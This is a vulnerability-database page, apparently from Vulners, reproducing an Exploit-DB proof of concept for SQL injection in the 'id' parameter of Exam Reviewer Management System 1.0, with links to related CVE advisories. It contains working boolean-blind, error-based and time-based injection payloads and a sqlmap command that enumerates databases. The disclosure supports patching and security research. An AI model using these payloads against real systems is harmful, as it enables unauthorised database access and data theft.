Lucene search
+L

Exam Reviewer Management System 1.0 - ‘id’ SQL Injection (SQLi)

🗓️ 09 Feb 2022 00:00:00Reported by Juli AgarwalType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 390 Views

Exam Reviewer Management System 1.0 SQL Injection vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2022-40877
28 Sep 202202:36
–circl
cnnvd
CNNVD
Simple Exam Reviewer Management System SQL Injection Vulnerability
27 Sep 202200:00
–cnnvd
cnvd
CNVD
Simple Exam Reviewer Management System SQL Injection Vulnerability
29 Sep 202200:00
–cnvd
cve
CVE
CVE-2022-40877
27 Sep 202216:04
–cve
cvelist
Cvelist
CVE-2022-40877
27 Sep 202216:04
–cvelist
euvd
EUVD
EUVD-2022-44133
3 Oct 202520:07
–euvd
nvd
NVD
CVE-2022-40877
27 Sep 202223:15
–nvd
osv_cve
osv_cve
CVE-2022-40877
27 Sep 202223:15
–osv_cve
prion
Prion
Sql injection
27 Sep 202223:15
–prion
ptsecurity
Positive Technologies
PT-2022-25601 · Unknown · Exam Reviewer Management System
27 Sep 202200:00
–ptsecurity
Rows per page
# Exploit Title: Exam Reviewer Management System 1.0 - ‘id’ SQL Injection
# Date: 2022-02-18
# Exploit Author:  Juli Agarwal(@agarwaljuli)
# Vendor Homepage:
https://www.sourcecodester.com/php/15160/simple-exam-reviewer-management-system-phpoop-free-source-code.html

# Software Link:
https://www.sourcecodester.com/download-code?nid=15160&title=Simple+Exam+Reviewer+Management+System+in+PHP%2FOOP+Free+Source+Code

# Version: 1.0
# Tested on: Windows 10/Kali Linux



Description – The ‘id’ parameter in Exam Reviewer Management System web
application is vulnerable to SQL Injection

Vulnerable URL - http://127.0.0.1/erms/?p=take_exam&id=1



POC:-



---

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: p=take_exam&id=1' AND 4755=4755 AND 'VHNu'='VHNu



Type: error-based

Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (FLOOR)

Payload: p=take_exam&id=1' OR (SELECT 8795 FROM(SELECT
COUNT(*),CONCAT(0x71766a7071,(SELECT
(ELT(8795=8795,1))),0x7162716b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'MCXA'='MCXA



Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: p=take_exam&id=1' AND (SELECT 2206 FROM (SELECT(SLEEP(5)))AhEo)
AND 'vqGg'='vqGg---



*SQLMAP COMMAND*



*# sqlmap -u "127.0.0.1/erms/?p=take_exam&id=1
<http://127.0.0.1/erms/?p=take_exam&id=1>" -p id --dbs --level 3*

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.19.8
EPSS0.01335
SSVC
390